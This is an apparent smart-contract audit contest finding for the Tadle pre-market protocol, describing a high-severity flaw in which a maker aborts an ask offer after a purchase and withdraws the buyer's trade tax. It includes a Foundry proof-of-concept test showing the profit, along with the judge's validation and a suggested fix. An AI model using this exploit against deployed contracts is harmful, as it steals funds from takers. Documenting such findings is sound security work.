Tadle
Tadle
DeFiFoundry
27,750 USDC
View results
Previous Next
Submission Details
Severity: high
Valid

`PreMarkets::abortAskOffer` allows users to farm the taxes being paid by other users.

amaron

Summary

The current implementation of the contracts, allows users to create a askOffer, and after a purchase to abort it, and to receive the extra tax the user has paid for the purchase, stealing users funds and farming the taxes.

Vulnerability Details

there's an additional tax a user add when he createOffer, so the makers can receive an additional tax for each trade. if a user abort the offer, he can claim his collateral back, however, in the current implementation if a user abort his offer after a purchase has been made, his refund amount will be calculated together with the tax the buyer paid.

Proof of Code

run the following test (and fix the wrong parts in the codebase so it can be runned, scuh as correct approvals and correct transfer function)

function test_abort_tax_farming() public {
vm.startPrank(user);
uint256 balanceBefore = mockUSDCToken.balanceOf(user);
console2.log("Balance before", mockUSDCToken.balanceOf(user));
​
preMarktes.createOffer(
CreateOfferParams(
marketPlace, address(mockUSDCToken), 1000, 1 ether, 12000, 300, OfferType.Ask, OfferSettleType.Turbo
)
);
vm.stopPrank();
​
vm.startPrank(user1);
mockUSDCToken.approve(address(tokenManager), type(uint256).max);
address stockAddr = GenerateAddress.generateStockAddress(0);
address offerAddr = GenerateAddress.generateOfferAddress(0);
​
preMarktes.createTaker(offerAddr, 1000);
vm.stopPrank();
​
vm.startPrank(user);
preMarktes.abortAskOffer(stockAddr, offerAddr);
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.MakerRefund);
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.SalesRevenue);
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.TaxIncome);
console2.log("Balance after ", mockUSDCToken.balanceOf(user));
uint256 balanceAfter = mockUSDCToken.balanceOf(user);
assert(balanceAfter > balanceBefore);
​
//@audit - high - user can create sells to get tax and abort them. (he receives money + tax)
vm.stopPrank();
}

which will log the following result (i have funded each of the users with 2 eth):

Ran 1 test for test/PreMarkets.t.sol:PreMarketsTest
[PASS] test_abort_tax_farming() (gas: 993969)
Logs:
@> Balance before 2000000000000000000
@> Balance after 2030000000000000000
​
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 8.47ms (1.78ms CPU time)

Impact

This creates an incentive for malicious users to exploit the system and steal funds through taxation.

Tools Used

foundry

Recommendations

Do not add the tax paid by users to the refund amount of sellers.

Updates

Lead Judging Commences

0xnevi Lead Judge 12 months ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-PreMarkets-immediate-withdrawal-allow-maker-steal-funds

Valid high severity, given orginal offer makers are not a trusted entity to enforce a settlement. The trade tax set by the maker should be returned back to the takers to avoid abuse of abortion of ask offers to steal trade tax from takers. Note for appeals period: See issue #528 for additional details

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.